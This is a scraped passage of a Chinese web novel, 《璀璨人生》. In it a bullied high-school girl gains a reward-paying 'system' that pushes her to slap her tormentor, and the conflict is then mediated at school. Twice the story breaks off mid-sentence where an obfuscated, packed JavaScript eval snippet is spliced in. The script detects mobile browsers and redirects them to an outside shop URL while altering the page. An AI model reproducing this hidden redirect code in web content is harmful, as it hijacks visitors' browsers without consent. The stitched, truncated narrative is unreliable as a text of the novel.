《璀璨人生》 1. 让他知道惹你的下场 周五的最后一堂课是自习，老师来了一会儿便离开了。 徐婷婷打开数学书，复习学过的知识，希望在下周一的小测中取得好成绩。 后座的男同学并不认真，正低声谈论班里的女生，时不时发笑。 被吵得心烦，徐婷婷扭头瞪了他们一眼。 这一眼毫无威力，他们不仅没闭嘴，说话声反而变得更大： “哟，咱惹恼贞子了，好害怕！她会从我的手机里爬出来吓唬我吗？” “怕个啥，只要你胆子够大，只要你不挑食，趁她卡在手机屏幕里不正好对她嘿嘿嘿？女鬼咋了，女鬼也能放产假！” “你真是个变态！” “徐婷婷确实长得阴森森，第一个叫她‘贞子’的人，绰号起得对极了！” “哈哈，我先叫的！” “我倒是不觉得徐婷婷像贞子，人家贞子生前可是美女，她呢，让我想起哈利波特里的家养小精灵……” “叫她‘多比’？这绰号有点损，但也不是不行。” 男生们笑得肆无忌惮。 周围的同学也被打扰了，无心学习，悄悄地观察被议论的徐婷婷。 正如“贞子”这个刁钻外号，徐婷婷留着厚厚的刘海，总是低着头不敢和别人对视，性格内向。就算被人取了难听的新绰号，她依然一声不吭，瘦小的身体伏在桌子上，握笔的手微微颤抖。 “她好像哭了哎……”有人小声说。 男生们安静了几秒。 不一会儿，一个满脸青春痘的男生故作轻松地说： “跟她开个玩笑她还委屈了，无聊！” “是啊，大家都能开玩笑，就她不能开，难怪她没朋友。” 另一个个子矮的男生马上接话茬。 “不说她了，明天周六，我们去哪玩？”青春痘男生转移话题，“咱悄悄地聊天，大声的不要，别吵到大家。” “去看电影吧？” “太贵了，不如去网吧玩游戏……” 气氛重新活跃起来，仿佛他们不曾对徐婷婷造成伤害。 徐婷婷无声啜泣，泪水止不住地涌出眼眶。 忍耐吧。 她告诉自己。 读完这一年就能毕业了！ 可是她好委屈，她好想让那几个王八蛋遭报应！ 【检测到潜在的使用者】 【正在载入璀璨人生系统】 突然之间，徐婷婷发现脑海里多了什么东西。 她不由得止住哭泣，怔怔地看着眼前浮现的一行行文字。 【你，徐婷婷，今年十七岁，在读高三】 【你是一个留守儿童，从小被父母送回乡下老家，由奶奶抚养长大。你渴望父母的爱，想在父母身边生活，但你的每次请求都惨遭拒绝。渐渐地，你明白了，父母不是你的依靠，学习才是你唯一的出路】 【于是，你考上县城最好的高中，希望将来考上大学，毕业后在大城市工作赚钱。但是父母要求你去大城市打工，你不愿意，你努力说服父母让你读书，你成功了】 【你的高中生活过得非常拮据，成绩受到影响，老师不再看重你。你尝试交好同学，可是贫穷的你显得和同学格格不入，你没能交上朋友】 【你升上高三，开学第一天，你的同班男同学张浩文给你起绰号“贞子”羞辱你，你气得落泪，可你听之任之】 【今天，张浩文和别的男同学给你起了新绰号“多比”。你憎恨他，更憎恨自己软弱无能的性格，你想改变这一切，你决定——】 【选项一：什么都不做】 【选项二：下课后告诉张浩文，你讨厌他取的绰号】 【选项三：你打量张浩文，狠狠地嘲弄他，给他起恶毒的绰号】 【选项四：走到张浩文面前，扬起手扇他一耳光，让他知道惹你的下场！】 徐婷婷的遭遇变成了一道选择题，她要在二十秒内作出决定。 或者，任由选择题消失。 徐婷婷不知道怎么选，她的思维一团糟。 忍耐是她的习惯，什么都不做是她一直以来的行为，她甚至后悔瞪了张浩文，责怪自己无法装作聋子，偏要去挑逗张浩文。 但是，凭什么？ 犯错的人明明是他，她瞪他一眼难道不行吗？他影响她复习，他罪该万死！所有人都应该谴责他！ 徐婷婷盯着选项四，心里仿佛烧着一团火，理智和冲动在来回拉扯。 扇他一耳光，那得多爽！ 扇他一耳光，爽是爽了，但事后一定会被找家长！ 她的高二期末考成绩并不理想，如果爸妈知道她殴打同学，没准她立刻就得进厂打工。 “叮铃铃——” 下课了。 二十秒倒计时还剩下十秒，徐婷婷紧紧抿着唇，理智在烈火中燃烧殆尽。 她不想再忍耐了！ 她必须改变！ 张浩文已经离开座位，徐婷婷猛地站起，大声说道：“张浩文，站住！不准走！” 张浩文一愣，回头看她。 发生什么事了？别的同学投来目光。 他们一直是冷漠的旁观者，从不下场，因此徐婷婷一丝注意力都没有给他们。她盯着满脸青春痘的张浩文，像是第一次见他那样，仔细地打量他。 青春痘让他的脸变得凹凸不平，坑坑洼洼。 他的肤色很黄，痘坑有色素沉淀，这让他的脸看起来更丑。 他的眼睛小而无神，一点也不凶恶，还有点慌张，跟她对视了一眼立刻触电般挪开视线，向身边的同伴寻求支持。 心虚了吗？害怕了吗？ 徐婷婷心情复杂。 她竟然被这种人欺负得那么惨！ 他根本就不是恶人，他只是一个虚张声势的纸老虎！ 她盯着他，恨恨地说道：“张浩文，你这个卑鄙小人！你太恶毒了……” 【叮！倒计时结束】 【使用者没有做决定，随机执行选项四】 啥？徐婷婷感到难以理解，自己不是正在告诉张浩文她厌恶他起的绰号吗？她中意的是选项二啊！ 系统不讲道理，一瞬间，一股无形的力量席卷了她的全身，她失去了对身体的控制力。 她的身体自己朝着张浩文走去，朝他高高地扬起手。 然后，徐婷婷身不由己，就像被鬼上身那样，一巴掌扇在张浩文脸上。 “啪！” 声音清脆响亮。 徐婷婷的手掌被震得有点痛。 感受着手掌上油腻的痕迹，她惊呆了。 自己竟然打了张浩文？ 张浩文也惊呆了。 自己居然被徐婷婷打了？ 曾经任由他欺负的胆小女同学，如今打了他一耳光！ 力气那么大！打得他脑瓜子嗡嗡。 他呆呆地看着徐婷婷，她的神色那么冷漠，他不由得后退几步，感到害怕。 苍天作证，徐婷婷是真的不想打他，也不敢打他。 她胆子那么小，怎能一下子变得强势霸道起来？她叫住他是为了告诉他，他为人很恶毒，他起的绰号很难听，她不想再被他叫绰号了。 大家在同一个班上，她从未招他惹他，为什么不能友好相处？ 可是，好爽。 一巴掌扇在张浩文脸上，真的好爽。 爽到她露出发自内心的笑容，爽到她可以大度地将张浩文以往对她的冒犯一笔勾销。 控制身体的力量已经消失，徐婷婷笑盈盈地欣赏张浩文恐惧的表情。 原来他也知道害怕啊。 他欺负她的时候，没有想过她会教训他吗？ “打人了！”同学的尖叫钻进她的耳朵，“徐婷婷打了张浩文！” 对，她扇了张浩文一耳光，怎么了？ 徐婷婷眨眨眼，想到这件事会被人告诉老师，老师会打电话给自己的爸妈，脸上的笑顿时消失。 糟糕！她会不会被学校警告？会不会被记过处分？会不会被退学？ 美好的将来有可能因为打了张浩文一巴掌毁于一旦，徐婷婷头皮发麻，差点站不稳。 她靠着桌子，看向气愤的张浩文，泪水流了下来，委屈无比：“都是你欺负我！我没惹过你，你为什么要给我取那么难听的外号？我完全不想打你，但是你为什么要欺负我？” “你！你这个贱人！” 张浩文摸着挨打后火辣辣的左脸，气得浑身都在发抖。 他不敢相信自己竟然被经常欺负的女同学报复：“我叫你几声外号怎么了？给你起外号是看得起你！” 他忘了自己对徐婷婷的恐惧，觉得当众挨女人的打丢尽了面子，撸起 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“徐婷婷也没惹他，他嘴碎，给别人起绰号！” 同学们七嘴八舌地说出事情的经过，并不站在任何一方。 有人给徐婷婷递了纸巾，她擦掉眼泪，希望老师为她主持公道。 老师拍了拍她的肩膀，对张浩文说：“给同学取外号是你有错在先，你应该道歉。”接着对徐婷婷说，“同学给你取外号，你应该告诉他，取外号是不对的，而不是打他，你也要对同学道歉。” 她也有错吗？ 徐婷婷无法接受这样的公道，委屈地注视着要求她道歉的男老师：“他欺负我！” 男老师并不动摇：“你不应该打人，你必须道歉。” “哼！”张浩文也不接受男老师的公道，“我被她打了还要向她道歉？有病！” 看了徐婷婷和男老师一眼，他扬长而去。 男老师有点儿尴尬：“这件事还是让你们的班主任来处理吧，你们先去吃饭，别聚在这了。” 徐婷婷闷闷地应了一声，对班主任提不起任何期待。 没有人愿意和她一起去食堂吃饭。 她默默地打饭，独自坐在角落里吃，感觉到别人在偷偷地看她。 她变成了被人围观的热闹。 他们在讨论她吗？ 他们是不是叫她贞子？还是叫她多比？或者男人婆？ 老师会怎么处置她？爸妈会怎样对待她？ 徐婷婷味如嚼蜡，备受煎熬。 都怪系统，它控制了她的身体，让她做出不应该做的事，惹出不必要的麻烦。 虽然，虽然扇了张浩文一耳光很爽，但是系统确实有点过分。 【你扇了张浩文一耳光，完成选项四】 【你获得500元奖励】 【恭喜你成为璀璨人生系统（测试版）的正式使用者】 500元？徐婷婷眼前一亮。 系统在她的脑海里更新了信息。 【以下是系统的使用说明，请仔细阅读……】 【说明一：系统只是辅助程序，无法干预使用者的任何决定，无法对使用者的人生负责】 【说明二：系统将采集使用者的信息并触发相关事件（展开折叠查看详细的信息采集条例），如果使用者参与事件，系统将根据事件完成度给予不同的奖励】 【说明三：系统的所有信息仅对使用者开放，如果使用者以任意形式泄露系统相关信息，系统将解绑使用者并追究责任】 【说明四：当前版本的系统可能存在不足和漏洞，使用者可通过信件进行反馈……】 徐婷婷不在意这些，她在意那500元。 虚拟屏幕在她眼前展开，奖励的500元储存在系统创建的特殊账号里，随时能去银行取出现金，也能用于一切形式的网络支付。 通过系统后台，徐婷婷给饭卡充值50元，跑去取餐窗口前确认。 没错！饭卡里多了五十块钱！加个大鸡腿庆祝一下！ 阴郁的情绪一扫而空，徐婷婷咬住美味的鸡腿，感到满足。 再也不怪系统了！ 尽管它过分，可它发钱，它一定是个好系统！ 2. 你做了我做不到的事 系统（测试版）的正式使用者能解锁其基础功能，现在徐婷婷拥有极其详细的属性面板信息。 【使用者：徐婷婷（已绑定，可解绑）】 【性别：女】 【力量：5】 【敏捷：4】 【体质：4】 【智力：6】 【技能：无】 【道具：无】 【背包（1格）：空空如也】 【商店：待解锁】 【社区：待解锁】 【金钱：450元】 【人生事件：待触发】 【生活事件：待触发】 徐婷婷一项一项地研究自己的数据。 解绑系统她是暂时不会考虑的，她也看过小说，谁家主角得到了金手指会舍得放弃？ 性别没什么好说的。 力量、敏捷、体质、智力不知道是高是低，她没有别人的数据，无法比较，感觉应该很一般。 技能和道具她一个没有，背包只有1格，应该能放东西进去？徐婷婷刚想到把饭卡放进背包格子里，饭卡就消失了，【背包（1格）：空空如也】变成【背包（1格）：饭卡】。 好神奇哦！ 徐婷婷又惊又喜，她幻想过拥有随身空间，现在她的幻想竟然成真了！ 【背包】只有一格，不能跟随身空间比，但【背包】能放东西，它就是随身空间！是超级可爱的迷你型随身空间！ 从现在开始，她再也不用背着沉甸甸的书往返学校和家了！把书全部放进【背包】里，她可以两手空空，一点负重都不必承担！超爽的！ 徐婷婷笑得合不拢嘴，反反复复地把饭卡从【背包】里取出、放入，高兴极了。 【商店】显然是购物功能，贫穷的徐婷婷对它不感兴趣。 【社区】是交际功能，徐婷婷没朋友，对它兴趣不大。 金钱无需解释。 人生事件和生活事件需要触发，她马上想起自己刚才扇了张浩文一巴掌，他肯定对她怀恨在心，也不知道老师会怎么处理这件事。 不过，她打他是有原因的，班主任会偏心他吗？ 徐婷婷认真思考。 打了他的脸，她的怒气、怨气都消散了，她还得到系统给予的500元奖励，心满意足。如果班主任要求她道歉，她不太愿意，但是对张浩文说一句对不起也不难，只要他率先低头认错，诚恳地向她道歉。 如果他不肯道歉呢？如果他找家长呢？如果班主任偏心他呢？ 徐婷婷不知道他的家长会怎么做，也判断不了班主任是否偏心他，她只知道她的家长不会维护她。 她必须做一个乖巧懂事的孩子，好好地和同学相处，不能给家长带来任何麻烦。 已经上高三了，学费都交了，家长还会要求她即刻进厂打工吗？ 徐婷婷不由得握紧拳头。 她没有认真考虑过将来的人生。 从小到大，她都在按照家长、老师的要求，做一个好孩子、好学生。 在乡下生活是不好的，于是她不甘心做平凡的乡下姑娘。 进厂打工是不好的，于是她不肯去工厂出卖体力。 她向往城里人富裕的生活，想要体面的工作，想赚很多钱满足自己的物欲。 考上好大学，拿到大学毕业证书，证明自己是值得高额薪酬的优秀人才，她将会赚到比进厂打工更多的钱。她就是这样说服爸妈供她读高中的。 【叮！你触发了人生事件，你要参加高考】 【完成该事件可领取十万元奖学金，解锁商店功能】 天啊！十万元！ 徐婷婷的心脏猛地一颤，产生无限的渴望。 不就是考大学吗？ 为了十万块，她就算不行也得斩钉截铁地说自己一定能行！ 十万元奖学金，她拿定了！ 无论是谁，无论是什么事，都不能阻止她参加高考拿到奖励！ 徐婷婷充满了斗志。 她不能让张浩文弄得她退学，现在班主任还没找她，她要主动找班主任承认错误！ 饭后，徐婷婷回到宿舍，刚进门，舍友们不约而同地向她投来了关注的目光。往常徐婷婷总是害羞地避开，不敢成为焦点，可她如今有求于人，只得忍住羞涩，勇敢地与舍友们对视。 直视她们的面容、她们的眼睛似乎不难。 徐婷婷不会读别人的脸色、眼神，她感觉，舍友不讨厌她，也许…… 也许，她们还有一点欣赏她。 她张张嘴，想大声问好，但她本质是个笨笨的锯嘴葫芦，只能对她们笑了笑。 交际实在太难了，比扇张浩文一巴掌还要难。 徐婷婷咬住唇，心里很是挫败。 “你回来了，徐婷婷。”身穿公主裙睡衣的舍友一边擦头发一边看她，眼睛里满是惊奇，“你居然扇了张浩文一巴掌，啪！听说扇得好大声的！你真厉害哦！” 有、有吗？ 扇了张浩文一巴掌的，是系统，不是她。 徐婷婷垂头看地面，羞于面对夸赞自己的舍友，又忍不住偷偷抬眸看舍友，她笑起来眼睛弯弯的，很好看。 对舍友来说，扇了张浩文一巴掌的，正是徐婷婷自己。 在徐婷婷回来前，她们已经讨论过这件事了，如今见到徐婷婷出现，忍不住又说了起来： “是啊，我都没想到，徐婷婷会打张浩文！她看起来那么胆小，她喊张浩文的时候，把我都吓了一跳！” “张浩文太讨厌了！他以为他是谁啊？对我们女生评头论足，他配吗？” “就是，他当他是皇帝呢！这个女生长得丑，那个女生皮肤黑，敢情全班都是他的后宫，任他选妃！恶心死了！” “丑人多作怪！他也不照照镜子，就他那丑模样，我多看一下都嫌辣眼睛呢！” 无人在意徐婷婷被欺负，但女生们厌恶张浩文的心是一样的。 和往常一样，徐婷婷插不进她们的对话，她现在的目的也不是融入她们。她努力地分辨她们对她的态度，选择最友好的公主裙舍友：“陆、陆晨曦，你的手机能借我打个电话吗？话费我会还给你！” 在这个人手一个手机的时代，她没有手机。 家长认为学生不需要手机。 陆晨曦是宿舍里最受欢迎的女生，从未叫过徐婷婷贞子。 她犹豫了一下，把手机递给徐婷婷：“行，你打，话费不用给，我这个月的话费还有很多，用不完。” “谢谢你！”徐婷婷感激地笑笑，接过手机，拨通班主任的电话号码。 “喂？”班主任的声音传来，不慌不忙的，“谁？” 【叮！你触发了生活事件】 【拨通了班主任的电话，你决定——】 【选项一：什么都不说，获得10元零花钱】 【选项二：说出事情的经过，承认自己的错误，获得书籍《说话的技巧》和50元零花钱】 【选项三：哭诉张浩文欺负你，要打断你的两条腿，你非常害怕，想退学保命，获得书籍《说话的艺术》和300元零花钱】 选择又来了！ 徐婷婷陡然一惊，下意识地看向倒计时。 只有二十秒！她必须作出正确选择！可不能让系统上身捅娄子！ 电话都打通了，选项一率先排除。她既然鼓起勇气面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆晨曦跟着出来了，自然而然地挽住她的手，对班主任说：“老师，张浩文可过分了！您那会儿不在，婷婷只是不小心碰他一下，他就扬言打断婷婷的腿！婷婷吓得逃跑，他也不肯放过她，带着一大帮人把婷婷从四楼撵到二楼！要不是碰到一个老师，婷婷指不定就被张浩文打断腿，这会儿进医院正骨了……” 事情是这样的吗？徐婷婷惊住。 她好像理解了《说话的技巧》和《说话的艺术》的区别，如果做选择的是陆晨曦，陆晨曦一定能拿到她得不到的300元！ 话都让陆晨曦说了，徐婷婷明智地保持沉默。 “老师你看，”陆晨曦打开手机播放视频，“婷婷多善良的一个人，她向张浩文道歉，张浩文不仅不接受，还骂她，说叫她贞子是抬举她！证据都在这，老师你可要给婷婷主持公道！” “是吗？”班主任惊疑不定。 只见视频从徐婷婷哭诉张浩文欺负她开始播放，到陌生男老师主持公道，张浩文不肯道歉，恨恨地看了徐婷婷一眼后扬长而去结束。 这视频自然不是陆晨曦拍摄的，她当时不在教室里，没看到现场。 班主任也没怀疑视频造假，高中生没这造假手段。她重看了一遍视频，神情格外凝重：“这太离谱了！张浩文人呢？”发现张浩文不在教室里，她的脸色变得更难看，“我得打电话跟他家长聊聊！” 忽然之间，班主任的手机响了。 她走到一边：“喂？……你是张浩文的家长？你知不知道你儿子在学校欺负同学，当着全班人的面放话说打断别人的腿？这件事的影响非常恶劣！你在县城吧？请你立刻来学校，我必须和你谈谈你儿子张浩文的问题！” 3. 陆晨曦 办公室里亮着灯，陈若龙放下保温杯，看向走进来的张浩文和他家长，指着椅子：“张浩文的家长是吧？请坐。” 张浩文的家长是个中年男人，头发有些油腻，皮肤黑黄。 陈若龙看到他的双手，指甲缝藏污纳垢，皮肤纹理也脏脏的，既是常年吸烟导致的，也是常年劳作造成的。 他身上缭绕着一股烟味，表情中带着试探之色：“老师，我家浩文一直很乖，我和他妈妈都不会打他，可是他……他跟我说，他在学校里被人打了……” “你先问问你的儿子做了些什么！”陈若龙沉声说道。 她的目光投向张浩文，问他：“你没告诉你爸爸你给班上的同学起了什么外号？” 家长说话没有班主任大声，张浩文在班主任面前也矮了半截，低着头说：“徐婷婷打我的脸！那么多人看着，她还敢打我——” “回答我，你给同学起了什么外号？”陈若龙打断他，威严地道，“张浩文同学，不要让我问你第三遍。” “我、我忘了……”张浩文的头埋得更低，嗫嚅着，不敢回答。 “你叫她‘贞子’，叫她‘多比’。”陈若龙替他说。 她打开手机，给张浩文的爸爸看照片：“这是日本女鬼贞子，这是家养小精灵多比。张浩文家长，请问你对你儿子给同学起绰号的行为有什么看法？” 贞子的照片相当吓人，张浩文的爸爸瞧了一眼，急忙挪开视线。 被儿子的班主任陈若龙盯着，他感到难堪。 可张浩文是他唯一的儿子，他不能不管张浩文，只得艰难地开口：“浩文……他、他没有恶意，我觉得，他应该是跟同学开个玩笑……” 陈若龙否定了他：“不是开玩笑！他故意起的难听绰号，他确实欺负女同学！” 接着，她打开视频：“张浩文家长，你再看看，你的儿子做了什么，说了什么，视频里清清楚楚。” 张浩文也看到了视频，立刻发出尖叫：“徐婷婷打我怎么没拍到？拍视频的人故意害我！” 陈若龙说：“徐婷婷承认她打了你，班上的同学也见到她打了你，没有人说徐婷婷没有打你！徐婷婷找我认错，保证不会再犯，你呢？你知道错了吗？我找你家长来，不是跟他谈徐婷婷的，我要跟他谈你！” 张浩文顿时不敢说话了。 他的家长看了看他，对陈若龙说：“那个女同学的家长在学校吗？” 陈若龙摇头。 张浩文的爸爸叹了一口气：“浩文做错了，但是那个女同学已经打了他，浩文不会再欺负人了。我不计较浩文挨打这件事，她最好也别纠缠不放。视频是她朋友帮忙拍的吧？我希望她删掉视频，我可以稍作让步。” 和解是最好的结果，陈若龙给陆晨曦打了电话，让她陪徐婷婷过来。 …… 学生都在教室里自习，走廊上空荡荡的。 陆晨曦牵着徐婷婷的手，说：“你别怕，待会儿我跟张浩文的家长谈，我能让张浩文向你认错道歉。” 徐婷婷轻轻点头。 “别不信我，我很厉害的！”陆晨曦得意地扬起下巴，“看着吧！” 办公室外，班主任陈若龙等到两人出现，对陆晨曦说：“你回教室。” “啊？”陆晨曦愕然，立刻伸手搭上徐婷婷的肩膀，“婷婷胆子小，我得陪着她，不能让她被张浩文和他爸欺负！” “陆同学，我才是徐同学的班主任！”陈若龙冷着一张脸，硬是掰开陆晨曦搭在徐婷婷肩上的手，“我跟张浩文的家长谈妥了，他愿意为他儿子的恶劣行径赔礼道歉。” 听到这个处置结果，徐婷婷抬起头看着女班主任，露出几分茫然之色。 谈妥了？ 张浩文被她打，他爸爸向她赔礼道歉？ 难道他爸爸是一个很正直的人？ 把陆晨曦留在门外，陈若龙领着徐婷婷进办公室。 双方见面，陈若龙互相介绍：“这是张浩文的爸爸，这是徐婷婷。” 徐婷婷飞快地瞥一眼张浩文的爸爸，想起自己的爸爸，心里有种说不出的酸涩。 她的爸爸绝不会来到这里，就算来了，也不会为她讨公道。 随后，她的目光扫过张浩文。 他没到教室上晚自习，是因为挨了她一耳光后又急又气，跑回家找家长吗？ 若是那样，张浩文这个人可太幼稚好笑了。 张浩文的爸爸审视徐婷婷，感觉她是个胆小怕事的普通女孩，但她敢扇他儿子一巴掌，肯定不像外表看起来这么老实本分。 女人都很会装。 “浩文，向她道个歉。” 被按头道歉，张浩文不甘不愿地说了句对不起，声音含糊，可能他自己都听不清楚。 他爸爸满意地点头，接着飞快看一眼陈若龙，才对徐婷婷说道：“浩文知错了，以后不会欺负你。” 徐婷婷觉得这句话缺乏约束力，没吭声。 “徐同学，你要是原谅浩文，我可以资助你一点学杂费。你家里的情况不太好，浩文跟我说过。我也没什么钱，资助不了你多少，你可以买一件喜欢的外套，在天冷的时候穿。”张浩文家长又说。 肯给钱，一切好商量。 于是徐婷婷开口了：“我能买多少钱的外套？” 说给她钱，她还真想要？ 张浩文的爸爸一边打量徐婷婷，一边慢吞吞地掏出兜里的钱包，清点里面的钞票。 徐婷婷看他数钱。 数了十几秒，这个中年男人略过钱包里的百元大钞，拿出一张五十元、一张二十元、两张十元、一张五元、三张一元，又把拿出的八张钞票数了一遍，终于舍得递给徐婷婷：“拿去花吧。” 【叮！你触发了生活事件】 【张浩文父子答应向你赔礼道歉，却敷衍了事，你决定——】 【选项一：接受，获得10元零花钱】 【选项二：拒绝，获得100元零花钱】 【选项三：把八张钞票甩在张浩文脸上还给他，怒骂他和他爸爸，获得300元零花钱】 系统信息在脑海里展开，徐婷婷又要做选择题了。 接受赔礼道歉，她能得到10元零花钱和98元赔礼，一共108元。 拒绝只能拿到100元，她心里却会舒服很多。 至于选项三，奖励的钱最多，最让她畅快，徐婷婷非常想选。 但是，她从未忘记，她来到办公室的目的是平息这场风波，她也不能让促成和解的班主任陈若龙难做。 衡量一番，徐婷婷选择选项二。 她对张浩文的爸爸说道：“不好意思，我想我买得起外套，不需要你的资助。” 啥？张浩文的家长瞪着她，眼睛里意思分明：你这臭丫头要了钱又嫌钱少？ 【叮！你完成选项二，100元零花钱已发放至账号】 零花钱拿到手了，事情还没结束。徐婷婷把张浩文的家长递来的钱推了回去，看着他浑浊的眼睛，克制住捂鼻子的想法，说：“你的钱还是拿去买烟吧。” “嫌少？”中年男人神色不善。 “我会原谅张浩文。”徐婷婷确实看不上他那八张零钞，她有系统发放的零花钱，可以在钱和尊严之间选择后者，她补充，“我只要张浩文向我道歉，向班上的女生道歉。” “还要道歉？道个毛！”张浩文忍不住了，“你不烦我都烦！” “我不烦，我不在乎你烦不烦。”在老师面前，徐婷婷一点也不怕他，如果他以后还欺负她，她还会扇他耳光。 她定定地看着张浩文丑陋的痘痘脸，说出他的心思：“你不想道歉，宁可让爸爸掏钱你也不想道歉。你爸爸疼爱你，为你着想，你却不体谅你爸爸，你爸爸会难过吗？” 张浩文心梗，爸爸就在身边，他怎敢回应徐婷婷？他烦躁地说：“你闭嘴吧！你到底知不知道你有多讨厌？” “够了，浩文！”他爸爸拍了一下他的肩膀，“按照你同学说的做，道歉。” 讲两句话就能省98元，何乐而不为？ 儿子不愿意？ 哼，他本来就做错了，跟别人道个歉正是他应该做的！ 把钱包放回兜里，张浩文的爸爸心情不错，下意识地拿出烟，正要点上，陈若龙推开他的打火机：“张浩文家长，办公室不允许抽烟。” 男人讪讪一笑，把烟放回去：“不好意思，没注意到。”看了看要道歉不要钱的徐婷婷，对陈若龙说，“事情解决了，我也得走了，老师你可得照顾一下我家浩文，别让他又挨了别人的打。” 陈若龙也笑了笑：“张浩文同学不主动招惹别人，别人一般不会欺负他。” 男人走了，在办公室门口，他遇到陆晨曦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294162|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呸！”陆晨曦看着他，吐了一口唾沫，“你是张浩文的爸爸？你知不知道你的儿子在学校欺负同学啊？呵呵，多比，我看你也挺像多比的，都丑。” 突然被攻击，中年男人愣了愣，心里一阵恼火，脸色也沉了下来：“这位同学，你礼貌一点！” 听了全程的陆晨曦冷笑：“这句话你拿去对你儿子说！就他那丑模样，还敢议论班上的女同学，真是泥坑里的癞蛤蟆照不到镜子，自己不知自己有多恶心！” “你——”中年男人气坏了，一巴掌扬起就想甩在陆晨曦脸上。 “快点打我吧！我拍着呢！”陆晨曦早就开了手机摄像头，态度极其嚣张，“我妈妈是出了名会打官司的大律师，你敢打我，我立刻让我妈告你！” 中年男人顿时明白了，陆晨曦怕不是听到他拿钱羞辱徐婷婷，特地在这等着他呢。 他不想惹上官司，忌惮地看了看陆晨曦，告诫道：“你这样很招人恨，我收拾不了你，迟早有人收拾你！” 陆晨曦斜眼蔑视他：“知道你很气，收拾不了我了，不用你特地告诉我。” 中年男人：“……” 好男不跟女斗，何况他是一个成年人。 他冷哼一声，快速离开。 半个小时后，班主任陈若龙站在讲台上，简单陈述一遍下午自习课发生的事情，点名张浩文：“你上来，跟大家道歉。” 张浩文低着头上讲台，低着头面对所有同学，声音小小的：“对、对不起！” “说什么？听不到！”陆晨曦大声说，“张浩文，你做了亏心事，道歉都不敢对着我们的脸说出来？” 她开口，女同学们纷纷附和。 徐婷婷望着讲台，张浩文看起来无地自容。 以后他还会欺负人吗？ 肯定会的，因为他不后悔欺负她，他只痛恨她不肯软弱地任由他欺负。 但是，张浩文不再是笼罩在她身上的可怕阴影，再也不是了！ 以后她回想高中，或许会想到他欺负她，可她不会因此感到痛苦。 下课后，陆晨曦身边围满了人，大家都想知道张浩文叫了家长过来为何还肯认错。 一位短发女生来到徐婷婷的座位前，拿着快递包裹：“这是你的东西，我路过大门保安亭时看到了，顺手帮你拿了。” 快递上写的收件人的确是徐婷婷，还写了她的年级班级，快递寄出者是一家图书公司。 【叮！《说话的技巧》已送达】 原来是系统奖励的实物！ 徐婷婷了然，感激地对女生说：“谢谢你帮我带。” 女生微微一笑，眉梢处的一颗黑色小痣让她的表情显得格外生动：“小事，不用谢。” 悄悄地看一眼张浩文，女生压低声音：“我也听到他议论我了，我很生气。你打他耳光，我便不气他了，只感到痛快，你真厉害！” 临走之前，女生犹豫了一下，小声安慰她：“徐同学，你不像贞子，不要把他们说的垃圾话放在心里。我想，要是你换个露额头的发型，没准会更好看呢！” 这是第二个明明白白夸徐婷婷厉害的人。 徐婷婷不觉得自己厉害，毕竟打脸张浩文的是系统。 她不爱认人，女生是她的同班同学，她却连女生姓什么叫什么都不知道。她觉得这个不认人的习惯不太好，可是她没朋友，大家当她是透明的，她何必记别人的姓名和长相呢？ 反正记了也不会说话。 只是，徐婷婷想到这里的时候，不由得看了看被人包围的陆晨曦，心底浮现的情绪是羡慕。 做个小透明固然耳根清净，成为大家喜欢的人也很开心啊。 如果她讨人喜欢，身边有很多朋友，张浩文怎么会给她取外号？怎么会欺负她？就算他欺负她，她的朋友也会为她说话，帮助她对付讨厌的张浩文。 目光一转，徐婷婷看到身边冷冷清清的张浩文。 他那些聊得好的猪朋狗友都刻意避开他，似乎担心和他玩耍会被大家讨厌。 徐婷婷忽然明白了，朋友其实不是越多越好，能一起面对困难的朋友才是真朋友，不能共患难的只是表面朋友。 张浩文显然没有真朋友。 她和陆晨曦呢？ 陆晨曦帮她，无疑是她的真朋友。 她也想成为陆晨曦的真朋友。 4. 有钱！改善生活质量！ 《说话的技巧》被徐婷婷拿回宿舍，打算闲暇时看。自己嘴巴笨，连骂人都不知道如何组织词汇，确实得钻研一下《说话的技巧》提升口才。 陆晨曦见了，打趣她：“你怎么会有这种书？” “我亲戚送给我的。”徐婷婷有些尴尬，脚趾都蜷缩起来了，结结巴巴地道，“我、我想成为你这样的人……” “啊，对不起！”陆晨曦顿时想起徐婷婷身边没有朋友，急忙补救，“我的询问好像让你难堪了。” “没有！你不用道歉的！别自责！”徐婷婷赶紧摆手。 陆晨曦哈哈一笑，手臂一伸便搭在她的肩膀上，凑近她说道：“婷婷，我们现在是朋友吧？明天早上咱一块去食堂吃早餐！” 她太近了，近得徐婷婷能闻到她身上散发的洗发水香气，感受到她透过衣物的体温，这样亲昵的接触让徐婷婷不习惯，身体变得僵硬，耳根子热乎乎的。 可是徐婷婷不讨厌这种亲昵。 陆晨曦是把她当成朋友看待了吗？只有好朋友才会结伴去食堂吃饭，结伴上厕所。 见徐婷婷没有拒绝的意思，陆晨曦一锤定音：“就这么说好，你明天早上要等我，可别偷偷地溜了！” 徐婷婷点头：“嗯，我会等你的！” 傍晚换下的衣服还没洗，徐婷婷快速地洗好晾晒，熄灯时间到了，老师拿着本子来查宿舍了。 睡在熟悉的床铺上，徐婷婷闭上眼睛，回想白天发生的一切，有种人生已经改变的感觉。 她忍不住思考，如果没有璀璨人生系统，自己会反抗张浩文的欺负吗？ 她不知道。 不过，璀璨人生系统对她是真的好，她不用担心考上大学后交不起学费了。 最后看了看系统承诺的参加高考奖励十万元，徐婷婷怀着美好的期待进入梦乡。 …… 高三学生的周六日也要自习，到了周日下午才有点自由安排的时间，离家近的同学会回家享受一下家里人的照顾，离家远的会出去逛街。 陆晨曦家在市区，回家吃饭去了。 